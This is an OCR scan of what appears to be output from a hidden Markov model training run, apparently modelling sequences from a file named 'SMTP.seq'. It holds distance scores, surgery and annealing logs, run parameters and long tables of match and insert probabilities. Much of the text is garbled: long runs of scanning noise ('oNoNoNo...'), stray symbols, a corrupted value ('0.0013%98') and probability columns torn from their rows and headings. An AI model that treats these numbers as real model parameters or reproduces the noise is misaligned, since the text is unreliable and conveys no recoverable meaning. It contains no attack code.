O WO JOUd WNREPOWOJIOUd WNREPEOWOWJoUud WNDE O

Average

distance
.292
25.
18.
14.
12.
11.
11.
.286
10.
10.
10.
10.
10.
10.
10.
10.
10.
10.
10.
10.
10.
10.
10.
10.
10.
10.
10.
10.
10.
10.
10.
.293
.299
.293
.286
.278
271
.278
277
10.

-38

11

10
10
10
10
10
10
10
10

615
929
921
354
747
405

947
811
584
561
557
539
535
518
502
500
480
460
445
433
425
404
388
372
356
339
335
321
311

271

35

=37
17

14.
12.
11.
10.
10.
10.
10.

10

10.
10.
10.
10.
10.
10.
10.
10.
10.
10.
10.
10.
10.
10.
10.
10.
10.
10.
10.

NeJ

W O W W W W W WO

(local)
Simple scores adjusted by +1.5*1n(seq len)
(geometric mean of match probabilities

34

. 938
.938
776
413
405
937
805
375
423
.222
094
097
103
098
101
081
087
080
075
067
058
063
054
042
024
015
011
006
001
. 989
.986
.988
.980
.972
L9717
.959
.967
.966
. 965
.959

33

-38
22

17.
14.
12.
11.
11.

11

11.
10.
10.
10.
10.
10.
10.
10.
10.
10.
10.
10.
10.
10.
10.
10.
10.
10.
10.
10.
10.
10.
10.
10.
10.
10.
10.
10.
10.
10.
10.
10.

(SW =

.449
.413
374
602
495
676
457
.228
008
927
734
738
728
714
710
707
695
698
687
674
684
670
672
668
669
673
669
664
670
665
656
660
655
657
654
652
642
642
642
641

2)

214

(adjust_score

(1)

(1)

2)
(6))



o°

Model 1 (counting from 0) wins!!
Surgery, New mod. length 41

o°

% D6 I10{8}

% Model modified by surgery (final length 41)
% 41 11.484
% 42 10.120
% 43 9.809
% 44 9.676
% 45 9.468
% 46 9.440
% 47 9.332
% 48 9.272
% 49 9.218
% 50 9.134
% 51 9.080
% 52 9.045
% 53 9.036
% 54 9.029
% 55 9.023
% 56 9.027
% 57 9.026
% 58 9.025
% 59 9.023
% 60 9.023
% 61 9.023
% 62 9.029
% 63 9.028
% 64 9.036
% 65 9.034
% 66 9.034
% 67 9.034
% 68 9.034

o\

o\

TRAIN 999 sequences (average length 32). Distance statistics...
Min:-32.91 ( 74) Max: -4.05 ( 16) Ave:-24.40 SampDev: 2.52
MinSDs: -3.38 MaxSDs: 8.09

o o° oP

o\

Total CPU time: wuser 0: 0:56 system 0: 0: O
Finished at: Sat Sep 26 13:18:18 2009

o° o o°

o°

Parameters from command line and insert files:

o\

trainseed 0
% randseed 0

train SMTP.seq
alphabet def Numbers 101
Ntrain 999

stopcriterion 0.000100
nsurgery 100

anneal length 10.000000
initial noise 3.000000
mainline cutoff 0.300000
Sw 0
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Insert method train 1

MODEL -- Final model for run SMTP (internally generated FIMs removed)
alphabet def Numbers 101
GENERIC

1.886984 0.254944 0.376488

1.819972 15.521340 3.764209

0.225758 0.265967 4.006562

0.830948 0.000124 0.0013%98 0.042759 0.057520
0.000528 0.000373 0.001678 0.001057 0.000622
0.000404 0.000124 0.000249 0.000186 0.000062
0.000000 0.000155 0.000031 0.000000 0.000031
0.000155 0.000031 0.000093 0.000124 0.000435
0.000466 0.000746 0.000590 0.000435 0.000280
0.000435 0.000435 0.001181 0.001802 0.004475
0.000062 0.003543 0.005780 0.000311 0.003667
0.004133 0.001243 0.000901 0.000280 0.001647
0.005562 0.001398 0.003263 0.003387 0.000000
0.008017 0.001181 0.001243 0.001212 0.000093
0.000684 0.000497 0.000466 0.000466 0.000311
0.000373 0.000062 0.000031 0.000000 0.000031
0.000000 0.000000 0.000000 0.000000 0.000000
0.000000 0.000000 0.000031 0.000000 0.000031
0.000000 0.000000 0.000000 0.000000 0.000000
0.000093 0.000000 0.000000 0.000031 0.000000
0.000031 0.000000 0.000000 0.000000 0.000000
0.000000 0.000000 0.000000 0.000000 0.000000
0.000000 0.000000 0.000000 0.000000 0.000000
0.830948 0.000124 0.001398 0.042759 0.057520
0.000528 0.000373 0.001678 0.001057 0.000622
0.000404 0.000124 0.000249 0.000186 0.000062
0.000000 0.000155 0.000031 0.000000 0.000031
0.000155 0.000031 0.000093 0.000124 0.000435
0.000466 0.000746 0.000590 0.000435 0.000280
0.000435 0.000435 0.001181 0.001802 0.004475
0.000062 0.003543 0.005780 0.000311 0.003667
0.004133 0.001243 0.000901 0.000280 0.001647
0.005562 0.001398 0.003263 0.003387 0.000000
0.008017 0.001181 0.001243 0.001212 0.000093
0.000684 0.000497 0.000466 0.000466 0.000311
0.000373 0.000062 0.000031 0.000000 0.000031
0.000000 0.000000 0.000000 0.000000 0.000000
0.000000 0.000000 0.000031 0.000000 0.000031
0.000000 0.000000 0.000000 0.000000 0.000000
0.000093 0.000000 0.000000 0.000031 0.000000
0.000031 0.000000 0.000000 0.000000 0.000000
0.000000 0.000000 0.000000 0.000000 0.000000
0.000000 0.000000 0.000000 0.000000 0.000000
LETTCOUNT

0.000000 0.000000 0.000000

0.000000 0.000000 0.000000

0.000000 0.000000 0.000000
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.830948
.000528
.000404
.000000
.000155
.000466
.000435
.000062
.004133
.005562
.008017
.000684
.000373
.000000
.000000
.000000
.000093
.000031
.000000
.000000
.830948
.000528
.000404
.000000
.000155
.000466
.000435
.000062
.004133
.005562
.008017
.000684
.000373
.000000
.000000
.000000
.000093
.000031
.000000
.000000
FREQAVE

.000000
.000000
.000000
.804860
.000816
.000345
.000000
.000302
.000617
.000545
.000165
.005858
.007847

oloNoNoNoNoNoNoNololololoNoNoNoNoBolololoNoNoNoNoNoNoloNoNoNoNoNoNolololoNolNolNo

[eNeoNoNoloNoNolNoNolNolNolNolle]

ocloNoNoNoNoNoNoNololololoNoNoNoNoBololBoloNoNoNoNoNoNoloNoNoNoNoNoNololololNolNolNo

[eNeoNoNoloNolNolNolNolNolNolNolle]

.000124
.000373
.000124
.000155
.000031
.000746
.000435
.003543
.001243
.001398
.001181
.000497
.000062
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000124
.000373
.000124
.000155
.000031
.000746
.000435
.003543
.001243
.001398
.001181
.000497
.000062
.000000
.000000
.000000
.000000
.000000
.000000
.000000

.000000
.000000
.000000
.000086
.000365
.000043
.000205
.000044
.000925
.000474
.004775
.001908
.001897

oloNoNoNoNoNoNoNololololoNoNoNoNoBolololoNoNoNoNoNoNoloNoNoNoNoNoNololololNolNolNo

[eNeoNoNoloNoNolNolNolNolNolNolle]

.001398
.001678
.000249
.000031
.000093
.000590
.001181
.005780
.000901
.003263
.001243
.000466
.000031
.000000
.000031
.000000
.000000
.000000
.000000
.000000
.001398
.001678
.000249
.000031
.000093
.000590
.001181
.005780
.000901
.003263
.001243
.000466
.000031
.000000
.000031
.000000
.000000
.000000
.000000
.000000

.000000
.000000
.000000
.001426
.001574
.000272
.000000
.000098
.000721
.001394
.008077
.001309
.004556

oloNoNoNoNoNoNoNololololoNoNoNoNoBolololoNoNoNoNoNoNoloNoNoNoNoNoNoRolololNolNolNo

oNoNoNeolNolRolNolNoNolNo)

.042759
.001057
.000186
.000000
.000124
.000435
.001802
.000311
.000280
.003387
.001212
.000466
.000000
.000000
.000000
.000000
.000031
.000000
.000000
.000000
.042759
.001057
.000186
.000000
.000124
.000435
.001802
.000311
.000280
.003387
.001212
.000466
.000000
.000000
.000000
.000000
.000031
.000000
.000000
.000000

.046419
.001268
.000193
.000000
.000120
.000558
.002292
.000464
.000406
.004477

oleoNoNoNoNoNoNoNololololoNoNoNoNoBoloBolNoNoNoNoNoNoNololNoNoNoNoNoNololololNolNolNo

loNoNoNololRolNolNoNolNo)

.057520
.000622
.000062
.000031
.000435
.000280
.004475
.003667
.001647
.000000
.000093
.000311
.000031
.000000
.000031
.000000
.000000
.000000
.000000
.000000
.057520
.000622
.000062
.000031
.000435
.000280
.004475
.003667
.001647
.000000
.000093
.000311
.000031
.000000
.000031
.000000
.000000
.000000
.000000
.000000

.057723
.000647
.000074
.000000
.000419
.000356
.005541
.005102
.002464
.000000
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.010718
.000818
.000542
.000000
.000000
.000000
.000228
.000074
.000000
.000000
.804860
.000816
.000345
.000000
.000302
.000617
.000545
.000165
.005858
.007847
.010718
.000818
.000542
.000000
.000000
.000000
.000228
.000074
.000000
.000000
egin

.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000

cNoNoNeoNoNoNoNoNoNoNeoNoNoNoNoNoNoNoNoNoNoNoNeolv NeoNeoNoNoNoNoNoNoNeoNoNoNoNoNoNoNoNoNoNoNoNolNoNoNoNoNoNoNoNeNe)

oNeoNoNoNoNoNoNoNoRoloBoNoNoNoNolNolNolBoNololNololNolololololNolNo]

[eNoNeoNoNoNoNoNolNoholBoNoloNoloNololNololNol Nello)

.001407
.000698
.000095
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000086
.000365
.000043
.000205
.000044
.000925
.000474
.004775
.001908
.001897
.001407
.000698
.000095
.000000
.000000
.000000
.000000
.000000
.000000
.000000

.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000

oNeoNoNoNoNoNoNoNooloBolNoNoNoNolNoNoloNololNololNololeololNolNolNo]

eNoNoNoNoNoNoNolNohoBoNoloNoloNololNololNol Nelle)

.001795
.000611
.000044
.000000
.000049
.000000
.000000
.000000
.000000
.000000
.001426
.001574
.000272
.000000
.000098
.000721
.001394
.008077
.001309
.004556
.001795
.000611
.000044
.000000
.000049
.000000
.000000
.000000
.000000
.000000

.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000

oNeoNoNoNoNoNoNoNoRoloBoNoNoNoNolNoNoloNololNololNololeololNolNolNo]

eoNeoNoNoNoNoNolNololoNololNololelolNolNolNe]

.001477
.000730
.000000
.000000
.000000
.000000
.000080
.000000
.000000
.000000
.046419
.001268
.000193
.000000
.000120
.000558
.002292
.000464
.000406
.004477
.001477
.000730
.000000
.000000
.000000
.000000
.000080
.000000
.000000
.000000

.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000

oNeoNoNoNoNoNoNoNoRoloBolNoNoNoNolNolNoloNolBolNololNololeololeolNolNe]

eoNeoNoNoNoNoNolNololoNololNololololNolNolNo]

.000124
.000427
.000028
.000000
.000022
.000000
.000000
.000000
.000000
.000000
.057723
.000647
.000074
.000000
.000419
.000356
.005541
.005102
.002464
.000000
.000124
.000427
.000028
.000000
.000022
.000000
.000000
.000000
.000000
.000000

.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
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choNoNoNoNoNoNoNololololoNoNoNoNolololNe)

eNeoNoNoloRoloNoNoNoNoNoNolololoNoNoNoNolololoNoNoNoNolNoNolololNolNe)

.967048
.000053
.000018
.000000
.000005
.000016
.000015
.000002
.000180
.000209
.000310
.000020
.000013
.000000
.000000
.000000
.000003
.000001
.000000
.000000

1

.000000
.000000
.006110
.996108
.000012
.000009
.000000
.000004
.000011
.000010
.000001
.000095
.000128
.000187
.000016
.000009
.000000
.000000
.000000
.000002
.000001
.000000
.000000
.967048
.000053
.000018
.000000
.000005
.000016
.000015
.000002
.000180
.000209

cloNeoNoNoNoNoNoNololololoNoNoNoNolololNe)

eNeoNoNoloRoloNoNoNoNoNoNolololoNoNoNoNolNoRolololNoNolNolNolNolNolNoll i

.000006
.000018
.000003
.000006
.000001
.000026
.000012
.000133
.000058
.000048
.000039
.000017
.000002
.000000
.000000
.000000
.000000
.000000
.000000
.000000

.000000
.000000
.004531
.000003
.000009
.000003
.000004
.000001
.000017
.000010
.000081
.000029
.000040
.000027
.000011
.000001
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000006
.000018
.000003
.000006
.000001
.000026
.000012
.000133
.000058
.000048

choNeoNoNoNoNoNoNololololoNoNoNoNolololNe)

eNeoNoNoloRoloNoNoNoNoNoNolololoNoNoNoNolNoRololNolNoNolNolNolNolNolNoll il

.000221
.000087
.000007
.000001
.000003
.000020
.000039
.000219
.000042
.000120
.000053
.000013
.000001
.000000
.000001
.000000
.000000
.000000
.000000
.000000

.000000
.000000
.484132
.000032
.000038
.000006
.000001
.000002
.000014
.000027
.000133
.000021
.000075
.000029
.000011
.000001
.000000
.000001
.000000
.000000
.000000
.000000
.000000
.000221
.000087
.000007
.000001
.000003
.000020
.000039
.000219
.000042
.000120

cloNeoNoNoNoNoNoNololololNoNoNoNoNolololNe)

[eNeoNoNoloBolNoNoNoNoNoNoNololololNoNoNoNolNolololNolNolNolNolNolNolNo]

.017078
.000047
.000007
.000000
.000004
.000017
.000068
.000013
.000010
.000134
.000040
.000019
.000000
.000000
.000000
.000000
.000001
.000000
.000000
.000000

.000980
.000024
.000004
.000000
.000003
.000010
.000041
.000007
.000006
.000078
.000028
.000013
.000000
.000000
.000000
.000000
.000001
.000000
.000000
.000000
.017078
.000047
.000007
.000000
.000004
.000017
.000068
.000013
.000010
.000134

choNeoNoNoNoNoNoNololololoNoNoNoNolololNe)

[eNeoNoNoloBoNoNoNoNoNoNoNoBolololNoNoNoNolNolololNolNolNolNolNolNolNo]

.013036
.000029
.000002
.000001
.000017
.000010
.000143
.000141
.000079
.000000
.000003
.000011
.000001
.000000
.000001
.000000
.000000
.000000
.000000
.000000

.001318
.000014
.000001
.000001
.000010
.000006
.000103
.000084
.000038
.000000
.000002
.000007
.000001
.000000
.000001
.000000
.000000
.000000
.000000
.000000
.013036
.000029
.000002
.000001
.000017
.000010
.000143
.000141
.000079
.000000

219



O OO OO OO o oo

eNoNoNoBoNoNolNololoBoNolBoNoBoNololNololNoNoNoNolNolNoloNoloNoBoNeoloNololoNoNololNolololNolNe)

.000310
.000020
.000013
.000000
.000000
.000000
.000003
.000001
.000000
.000000

2

.897174
.096716
.003825
.010698
.000007
.000005
.000000
.000002
.000006
.000006
.003421
.021942
.003830
.295135
.050249
.004528
.000000
.000000
.000000
.000001
.000000
.000000
.000000
.967048
.000053
.000018
.000000
.000005
.000016
.000015
.000002
.000180
.000209
.000310
.000020
.000013
.000000
.000000
.000000
.000003
.000001
.000000
.000000

O OO OO OO o oo

eNoNoNoBoNoNolNolololBoNololNoBoNololNoNolNoNoNoNolNolNoloNoloNoBoNeoloNololNolNolNololNeololololNe)

.000039
.000017
.000002
.000000
.000000
.000000
.000000
.000000
.000000
.000000

.137667
.857802
.002830
.000002
.000005
.000002
.000002
.000000
.000009
.000006
.018488
.039539
.097331
.082909
.012889
.000001
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000006
.000018
.000003
.000006
.000001
.000026
.000012
.000133
.000058
.000048
.000039
.000017
.000002
.000000
.000000
.000000
.000000
.000000
.000000
.000000

O OO OO OO o oo

eNoNoNoBoNoNolNololoBoNolBoNoBoNololNololNoNoNoNololNolNoNololNoBoNeoloNololNolNoNololNolololNolNe)

.000053
.000013
.000001
.000000
.000001
.000000
.000000
.000000
.000000
.000000

.047437
.468431
.491109
.000018
.000021
.000003
.000000
.000001
.000007
.000015
.009283
.031704
.000042
.002242
.037538
.002682
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000221
.000087
.000007
.000001
.000003
.000020
.000039
.000219
.000042
.000120
.000053
.000013
.000001
.000000
.000001
.000000
.000000
.000000
.000000
.000000

O OO OO OO o oo

oloNoNoNoNoNoNolololololoNololNoloNolNoNoNoNoNoNolNololNoloNoNolNololNolNololoNeolNolNolNeo]

.000040
.000019
.000000
.000000
.000000
.000000
.000001
.000000
.000000
.000000

.000542
.000013
.001322
.000000
.000002
.000006
.000023
.009217
.011444
.060647
.087357
.016313
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.017078
.000047
.000007
.000000
.000004
.000017
.000068
.000013
.000010
.000134
.000040
.000019
.000000
.000000
.000000
.000000
.000001
.000000
.000000
.000000

O OO OO OO o oo

oloNoNoNoNoNeoNololoololoNololNoloNolNolNoNoNoNoNolNololNoloNoNolNeolololNololoNelNolNolNeo]

.000003
.000011
.000001
.000000
.000001
.000000
.000000
.000000
.000000
.000000

.000729
.000008
.000001
.000000
.002713
.000004
.000057
.010597
.065462
.000000
.002334
.004902
.001736
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.013036
.000029
.000002
.000001
.000017
.000010
.000143
.000141
.000079
.000000
.000003
.000011
.000001
.000000
.000001
.000000
.000000
.000000
.000000
.000000

220



oo oNoNoNoNoNoNolololNoloNoNoNoNoNolololoNoNoNoNoloRoloRolNoNoNoNoNolNololoNoNolNolNolNolNo]

leoNoNoNoNololNolNelNo)

3

.966274
.029901
.003800
.010446
.000007
.000005
.000000
.004474
.006748
.023537
.006627
.049770
.000070
.011187
.000009
.000005
.000000
.000000
.000000
.000001
.000000
.000000
.000000
.967048
.000053
.000018
.000000
.000005
.000016
.000015
.000002
.000180
.000209
.000310
.000020
.000013
.000000
.000000
.000000
.000003
.000001
.000000
.000000

4

.966750
.029450
.003795
.015139
.014294
.009593
.000000
.000002
.000006

oo oNoNoNoNoNoNolololNoloNoNoNoNoNolololoNoNoNoNoloBololoNoNoNoNoNolNololNoNoNolNolNolNolNo]

leoNoNoNoNololNolNelNo)

.002734
.994436
.003382
.000002
.000005
.000002
.000002
.000000
.019816
.028779
.006114
.006767
.019055
.003502
.000006
.005783
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000006
.000018
.000003
.000006
.000001
.000026
.000012
.000133
.000058
.000048
.000039
.000017
.000002
.000000
.000000
.000000
.000000
.000000
.000000
.000000

.002822
.993796
.004762
.001326
.010181
.002641
.000002
.000000
.000009

oo oNoNoNoNoNoNolololNoNoNoNoNoNoNolololoNoNoNoNoloRolololNoNoNoNoNoNololNoNoNolNolNolNolNo]

leoNoNoNoNololNolNelNo)

.047293
.461598
.488174
.000018
.000021
.000003
.000000
.005962
.022708
.076778
.045375
.038400
.006332
.002981
.000006
.000000
.000000
.002941
.000000
.000000
.000000
.000000
.000000
.000221
.000087
.000007
.000001
.000003
.000020
.000039
.000219
.000042
.000120
.000053
.000013
.000001
.000000
.000001
.000000
.000000
.000000
.000000
.000000

.047074
.464752
.492840
.017894
.050744
.000003
.000000
.000001
.000007

oo oloNoNoNoNoNolololNoloNoNoNoNoNoloBoloNoNoNoNoNolololNolNoNoNoNoNoNolNololNolNolNol

O O OO oo

.000535
.000013
.000002
.000000
.004142
.010262
.124560
.015664
.013321
.016174
.003391
.000006
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.017078
.000047
.000007
.000000
.000004
.000017
.000068
.000013
.000010
.000134
.000040
.000019
.000000
.000000
.000000
.000000
.000001
.000000
.000000
.000000

.852221
.000013
.008484
.000000
.003169
.000006

oo oloNoNoNoNoNololololoNoNoNoNoNoloBoloNoNoNoNoNoBolololNoNoNoNoNoNolNololNolNolNol

O O OO oo

.000720
.000008
.000001
.000000
.004377
.016622
.330811
.032002
.021832
.000000
.000001
.000004
.000000
.000000
.001308
.000000
.000000
.000000
.000000
.000000
.013036
.000029
.000002
.000001
.000017
.000010
.000143
.000141
.000079
.000000
.000003
.000011
.000001
.000000
.000001
.000000
.000000
.000000
.000000
.000000

.000745
.012761
.000001
.000000
.000006
.000004
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oNeoNoNoNoNoNoBoNoholNoBolNololNoNolNeoNoloNolNoNoloNololNololNololeololNelNolNo]

ecoNoNoNoNoNoNololololoNolNololNeololNoelNo)

.000006
.000001
.000053
.000071
.000103
.000009
.000005
.000000
.000000
.000000
.000001
.000000
.000000
.000000
.967048
.000053
.000018
.000000
.000005
.000016
.000015
.000002
.000180
.000209
.000310
.000020
.000013
.000000
.000000
.000000
.000003
.000001
.000000
.000000

5

.966504
.029701
.006039
.049532
.006376
.002008
.000000
.000002
.000006
.000006
.000001
.000053
.000072
.000103
.000009
.000005
.000000
.000000
.000000

oNeoNoNoNoNoNoBoNoholNoBolololNoBNolNoNoloNolNoNoloNoloNololNololeololNolNolNe]

ecloNoNoNoNoNoNololololNolNolNololNololNolNo)

.000006
.000045
.000016
.000018
.000015
.000006
.000001
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000006
.000018
.000003
.000006
.000001
.000026
.000012
.000133
.000058
.000048
.000039
.000017
.000002
.000000
.000000
.000000
.000000
.000000
.000000
.000000

.002787
.992451
.002962
.001325
.008116
.000002
.000002
.000000
.000009
.000006
.000045
.000016
.000018
.000015
.000006
.000001
.000000
.000000
.000000

oNeoNoNoNoNoNoBoNoBolNololNololNoBNolNoNoloNolNoNoloNoloNololNololeololNelNolNo]

ecloNoNoNoNoNoNololololNolNolNololNeololNoeolNo)

.000015
.000073
.000012
.000041
.000016
.000006
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000221
.000087
.000007
.000001
.000003
.000020
.000039
.000219
.000042
.000120
.000053
.000013
.000001
.000000
.000001
.000000
.000000
.000000
.000000
.000000

.045221
.461940
.482961
.021327
.031639
.000003
.000000
.000001
.000007
.000015
.000073
.000011
.000042
.000016
.000006
.000000
.000000
.000000
.000000

oNeoNoNoNoNoNoBoNoholNoBolNololNoBNolNoNoloNolNoNoloNoloNololNololololNeolNolNo]

eoBoNoNoNoNoNoNolololNolNololNololNe]

.000023
.000004
.000004
.000044
.000016
.000006
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.017078
.000047
.000007
.000000
.000004
.000017
.000068
.000013
.000010
.000134
.000040
.000019
.000000
.000000
.000000
.000000
.000001
.000000
.000000
.000000

.865389
.000013
.000002
.000000
.000002
.000006
.000023
.000004
.000004
.000044
.000015
.000006
.000000
.000000
.000000
.000000

oNeoNoNoNoNoNoBoNoholNoBolNololNoBNolNoNoloNoNoNoloNoloNololNololololNeolNolNo]

eoNoNoNoNoNoNoNolololNolNololNololNe

.000057
.000047
.000021
.000000
.000001
.000004
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.013036
.000029
.000002
.000001
.000017
.000010
.000143
.000141
.000079
.000000
.000003
.000011
.000001
.000000
.000001
.000000
.000000
.000000
.000000
.000000

.000729
.012745
.000001
.000000
.000006
.000004
.000057
.000046
.000021
.000000
.000001
.000004
.000000
.000000
.000000
.000000
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cleololoNoNoNoNoNoNoNoloNoNolNoNoNoNololololNolNolNo

oNeoNoNoloRolNoNoNoNoNoNohololRolNoNoNoNoNololNololNolNolNolNolNolNo]

.000001
.000000
.000000
.000000
.967048
.000053
.000018
.000000
.000005
.000016
.000015
.000002
.000180
.000209
.000310
.000020
.000013
.000000
.000000
.000000
.000003
.000001
.000000
.000000

6

.030841
.963120
.002912
.006786
.000004
.000003
.000000
.000001
.000004
.000004
.000001
.002176
.260417
.225698
.000006
.018411
.000000
.000000
.000000
.000001
.000000
.000000
.000000
.967048
.000053
.000018
.000000
.000005
.000016

ecleoloNoNoNoNoNoNoNoNoloNoNolNoNoNoNololololNolNolNo

oNoNoNoloRolNoNoNoNoNolohololRolNoNoNoNoNololNololNolNolNolNolNolNo]

.000000
.000000
.000000
.000000
.000006
.000018
.000003
.000006
.000001
.000026
.000012
.000133
.000058
.000048
.000039
.000017
.000002
.000000
.000000
.000000
.000000
.000000
.000000
.000000

.824010
.173028
.001922
.000001
.000003
.000001
.000001
.000000
.000006
.000004
.000029
.041557
.000011
.000010
.019206
.000001
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000006
.000018
.000003
.000006
.000001
.000026

cleoloNoNoNoNoNoNoNoNoloRoNolNoNoNoNololololNolNolNo

oNeoNoNoloRoloNoNoNoNoNohololoNoNoNoNoNololololNolNolNolNolNolNo]

.000000
.000000
.000000
.000000
.000221
.000087
.000007
.000001
.000003
.000020
.000039
.000219
.000042
.000120
.000053
.000013
.000001
.000000
.000001
.000000
.000000
.000000
.000000
.000000

.046481
.470559
.491711
.000011
.000014
.000002
.000000
.000001
.000005
.000010
.000047
.000007
.171298
.064499
.000004
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000221
.000087
.000007
.000001
.000003
.000020

cleoBooNoNoNoNoNoNoNoloNoNolNoNoNoNololololNolNolNo

[eNeoNoNoloRoloNoNoNoNoNoNoloBoloNoNoNoNolNololololNolNo)

.000000
.000000
.000000
.000000
.017078
.000047
.000007
.000000
.000004
.000017
.000068
.000013
.000010
.000134
.000040
.000019
.000000
.000000
.000000
.000000
.000001
.000000
.000000
.000000

.000347
.000009
.000002
.000000
.000001
.000004
.002775
.002206
.000002
.126936
.000010
.015828
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.017078
.000047
.000007
.000000
.000004
.000017

cleololoNoNoNoNoNoNoNoloNoNolNoNoNoNololololNolNolNoe

[eNeoNoNoloRololoNoNoNoNoNoloBoloNoNoNoNolNololololNelNo)

.000000
.000000
.000000
.000000
.013036
.000029
.000002
.000001
.000017
.000010
.000143
.000141
.000079
.000000
.000003
.000011
.000001
.000000
.000001
.000000
.000000
.000000
.000000
.000000

.000466
.000005
.000001
.000000
.000004
.000002
.000036
.000030
.024034
.000000
.003390
.013676
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.013036
.000029
.000002
.000001
.000017
.000010
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O O OO OO ODOOOOoo oo

[eNoNoNoNoNoNeoNoloBoBoNololNoBoNololNololNoBoNoNoNolNoNoNoloNoloNololNololololNolNolNe]

.000015
.000002
.000180
.000209
.000310
.000020
.000013
.000000
.000000
.000000
.000003
.000001
.000000
.000000

7

.974434
.022654
.002911
.006724
.000004
.000003
.000000
.000001
.019853
.006174
.000002
.181723
.045949
.000065
.000006
.000003
.000000
.000000
.000000
.000001
.000000
.000000
.000000
.967048
.000053
.000018
.000000
.000005
.000016
.000015
.000002
.000180
.000209
.000310
.000020
.000013
.000000
.000000
.000000

O O OO OO ODOOOOoo oo

[eNoNoNoBoNoNoNololoBoNololNoBoNololNololNoloNolNoNeolNoNoNoloNoloNololNololololNeolNolNe]

.000012
.000133
.000058
.000048
.000039
.000017
.000002
.000000
.000000
.000000
.000000
.000000
.000000
.000000

.001848
.996230
.001927
.000001
.000003
.000001
.000001
.001709
.023524
.000004
.171763
.003836
.000011
.000010
.000004
.000001
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000006
.000018
.000003
.000006
.000001
.000026
.000012
.000133
.000058
.000048
.000039
.000017
.000002
.000000
.000000
.000000

O O OO OO ODOO OO o oo

[eNoNoNoNoNoNoNololoBoNololNoBoNololNololNoBolNoNoNolNoNoNololNoloNololNololololNeolNolNe]

.000039
.000219
.000042
.000120
.000053
.000013
.000001
.000000
.000001
.000000
.000000
.000000
.000000
.000000

.047142
.461147
.491645
.000011
.000014
.000002
.000000
.000001
.013639
.005111
.281953
.002296
.000026
.002796
.000004
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000221
.000087
.000007
.000001
.000003
.000020
.000039
.000219
.000042
.000120
.000053
.000013
.000001
.000000
.000001
.000000

O O OO OO ODOOOOoo oo

eoNeoNoNoNoNoNolNolololNololNoloNololNolNolNoNoNoNolNolNolNolNololNololNeololNololNollo]

.000068
.000013
.000010
.000134
.000040
.000019
.000000
.000000
.000000
.000000
.000001
.000000
.000000
.000000

.000346
.000009
.000002
.000000
.000001
.014040
.006760
.000003
.000003
.000027
.000010
.002432
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.017078
.000047
.000007
.000000
.000004
.000017
.000068
.000013
.000010
.000134
.000040
.000019
.000000
.000000
.000000
.000000

O O OO OO ODOOOOoo oo

eoNoNoNoNoNoNoNolololNoloNoloNololNolNolNoNoNoNoNolNolNoNololNololNeololNololNolNo]

.000143
.000141
.000079
.000000
.000003
.000011
.000001
.000000
.000001
.000000
.000000
.000000
.000000
.000000

.000465
.000005
.000001
.000000
.011869
.003216
.003781
.172932
.016869
.000000
.000001
.000003
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.013036
.000029
.000002
.000001
.000017
.000010
.000143
.000141
.000079
.000000
.000003
.000011
.000001
.000000
.000001
.000000

224



[eNeoNoNoNoRolololoNoNoNoNolNoBoloNoNolNoNoNoNolololololNoNoNoNoNoNolololoNoNoNolNololololNe O O OO

[oNeoNeNoNe]

.000003
.000001
.000000
.000000

8

.974448
.022641
.002940
.006727
.007386
.000003
.000000
.000001
.000004
.000004
.000001
.000033
.000045
.000065
.000006
.000003
.000000
.000000
.000000
.000001
.000000
.000000
.000000
.967048
.000053
.000018
.000000
.000005
.000016
.000015
.000002
.000180
.000209
.000310
.000020
.000013
.000000
.000000
.000000
.000003
.000001
.000000
.000000

9

.974201
.022858
.004561
.022406
.000004

[eNeoNoNoNoRolololoNoNoNoNolNoBolNoNoNolNoNoNoNoloBolololNoNoNoNoNoNolololNoNoNoNolNolNolololNe] O O OO

[oNeoNeNoNe]

.000000
.000000
.000000
.000000

.001865
.996208
.002044
.000001
.000003
.000001
.002449
.000000
.000006
.000004
.000029
.000010
.000011
.000010
.000004
.000001
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000006
.000018
.000003
.000006
.000001
.000026
.000012
.000133
.000058
.000048
.000039
.000017
.000002
.000000
.000000
.000000
.000000
.000000
.000000
.000000

.002740
.995216
.006337
.000001
.000003

[eNeoNoNoNoRolololoNoNoNoNolNoBolNoNoNolNoNoNoNololololoNoNoNoNoNoNolololoNoNoNolNolNolololNe O O OO

[oNeoNeNoNe]

.000000
.000000
.000000
.000000

.047164
.461191
.491352
.000012
.000014
.010657
.000000
.000001
.000005
.000010
.000047
.000007
.000026
.000010
.000004
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000221
.000087
.000007
.000001
.000003
.000020
.000039
.000219
.000042
.000120
.000053
.000013
.000001
.000000
.000001
